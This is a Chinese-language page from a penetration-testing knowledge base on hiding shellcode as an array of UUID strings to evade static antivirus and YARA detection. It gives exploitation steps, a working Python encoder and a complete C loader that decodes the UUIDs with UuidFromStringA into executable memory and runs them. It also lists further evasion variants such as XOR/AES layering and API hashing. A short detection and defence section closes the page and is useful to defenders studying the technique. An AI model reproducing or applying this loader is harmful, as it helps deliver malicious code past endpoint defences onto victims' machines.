♧ Godown 安全知识树

UUID 编码 Shellcode:16 字节小端转 UUID 字符串,UuidFromStringA 还原执行

pentest/c2 · verified

一句话结论

把 shellcode 按 16 字节分块,用 uuid.UUID(bytes_le=chunk) 编码成标准 UUID 字符串数组;loader 用 UuidFromStringA 把每个字符串还原成 16 字节写回可执行内存,再以函数指针调用。磁盘上只有 UUID 文本、没有连续二进制 shellcode,可规避基于原始字节特征、字符串/正则与部分 YARA 规则的静态检测。

原理

  • UUID 是 16 字节的文本表示:标准 UUID 形如 e48348fc-e8f0-00c0-0000-415141505251,共 16 字节;UuidFromStringA(Rpcrt4.dll)把字符串解析回 UUID 结构体的 16 字节。
  • 小端分块:Python 侧 uuid.UUID(bytes_le=chunk) 按小端解释 16 字节,使 UuidFromStringA 还原出的字节顺序与原始 shellcode 一致;若用 bytes=(大端)需要相应调整,否则字节序错乱。
  • 补齐 16 字节:不足 16 字节的尾部用 0x90(NOP)填充,既满足分块,也让跳入尾部时落在 NOP 滑板上。
  • loader 还原:C 侧 VirtualAlloc 分配内存,循环 UuidFromStringA(uuids[i], &uuid) + memcpy(cursor, &uuid, 16),最后 ((void(*)())mem)() 执行。文章示例用 PAGE_EXECUTE_READWRITE,更隐蔽的实现可先 RW 写入再改 RX。
  • 为什么能规避静态检测:原始 shellcode 的二进制序列被拆成可打印 UUID 文本,基于字节签名、十六进制字符串、部分 YARA/正则的规则不再直接命中;与 AES 等加密相比,UUID 文本有固定结构和分隔符,熵值不像随机密文那么高,不容易单独触发“高熵加密载荷”启发式。
  • 局限:UUID 数组本身是可识别特征(大量 xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx),UuidFromStringA 导入/调用、RWX 内存、执行行为仍可能被 EDR 检出;通常需与 XOR/AES、API 哈希、RW→RX 等组合使用。

触发条件

  • 目标为 Windows x64,攻击者需要投放 shellcode 并希望降低静态字节特征。
  • 能编译/运行 loader(C/C++),并链接 Rpcrt4.lib 使用 UuidFromStringA。
  • shellcode 长度可按 16 字节补齐;loader 有权限分配可执行内存。
  • 目标安全产品主要依赖静态字节/字符串特征;若侧重行为/内存扫描,单靠 UUID 编码不够。

利用步骤

  1. 准备 raw shellcode;若长度不是 16 的倍数,用 0x90 补齐。
  2. 用 Python 按 16 字节分块,uuid.UUID(bytes_le=chunk) 生成 UUID 字符串数组,嵌入 loader 源码。
  3. loader 计算总长度(UUID 数量 × 16),分配可执行内存(建议 RW→RX 而非直接 RWX)。
  4. 循环 UuidFromStringA 还原每个 16 字节块并写入内存;校验返回值 RPC_S_OK。
  5. 将内存改为 RX 后以函数指针调用;授权测试用打印消息/弹计算器等无害 shellcode 验证。
  6. 如需更强隐蔽,先用 XOR/AES 加密再 UUID 编码,loader 还原后先解密;并用 API 哈希/PEB 解析隐藏 UuidFromStringA、VirtualAlloc 等导入。

PoC

Python 编码(来自文章思路的最小化版本):

import uuid

def encode(shellcode: bytes):
    if len(shellcode) % 16:
        shellcode += b"\x90" * (16 - len(shellcode) % 16)
    return [str(uuid.UUID(bytes_le=shellcode[i:i+16]))
            for i in range(0, len(shellcode), 16)]

print(encode(open("shellcode.bin", "rb").read()))

C loader 核心:

#include <windows.h>
#include <rpc.h>
#pragma comment(lib, "Rpcrt4.lib")

const char* uuids[] = {
    "e48348fc-e8f0-00c0-0000-415141505251",
    /* ... 其余 UUID ... */
};

int main(void) {
    SIZE_T total = sizeof(uuids) / sizeof(uuids[0]) * 16;
    BYTE* mem = (BYTE*)VirtualAlloc(NULL, total, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (!mem) return -1;

    BYTE* cursor = mem;
    for (int i = 0; i < sizeof(uuids) / sizeof(uuids[0]); i++) {
        UUID uuid;
        if (UuidFromStringA((RPC_CSTR)uuids[i], &uuid) == RPC_S_OK) {
            memcpy(cursor, &uuid, 16);
            cursor += 16;
        }
    }
    DWORD old;
    VirtualProtect(mem, total, PAGE_EXECUTE_READ, &old);
    ((void(*)())mem)();
    return 0;
}

变体与关联

  • 变体:先 AES/XOR 加密再 UUID 编码;或改用 IPv4、MAC、Base64 编码,见 [[pentest-c2-shellcode-loader-aes-ipv4-uuid-entropy-obfuscation]]、[[pentest-c2-proxy-dll-ip-string-payload-random-fill-callback]]。
  • 变体:用 API 哈希/PEB 解析隐藏 UuidFromStringA/VirtualAlloc 导入,见 [[pentest-c2-peb-ldr-export-dynamic-api-resolution]];执行方式换成纤程/APC/回调,见 [[pentest-c2-go-apc-loader-name-obfuscation-xor]]、[[pentest-c2-rust-fiber-shellcode-loader-base64-aes-switchtofiber]]。
  • 变体:把 UUID 数组放进资源段/签名证书/图片块,改变载荷载体;参考 [[pentest-c2-signed-exe-pic-shellcode-patch-certificate-table]]。
  • 关联:[[pentest-c2-shellcode-static-string-nullbyte-offset-obfuscation]](消除 shellcode 中的明文字符串/空字节)、[[pentest-c2-donut-pe-to-shellcode-c-loader]](Donut 生成加密 shellcode 后交给 C loader)。
  • 边界:UUID 文本本身可被规则识别;UuidFromStringA 调用与 RWX/RX 内存行为仍可能被 EDR 捕获;若目标只做静态字节扫描,UUID 编码有效,若做内存扫描/行为链则需额外对抗。

检测与防御

  • 检测:PE 数据段/资源中出现大量标准 UUID 字符串;导入表出现 UuidFromStringA/Rpcrt4.dll 且伴随 VirtualAlloc/VirtualProtect;进程分配可执行内存并把 UUID 解析结果写入;内存中出现原始 shellcode 特征。
  • 防御:EDR 同时覆盖静态字符串/熵与内存行为;对 UUID 数组 + UuidFromStringA 组合加启发式权重;监控 RW→RX、线程/纤程/回调执行链;启用代码签名、AppLocker/WDAC;对高权限进程限制未签名代码执行。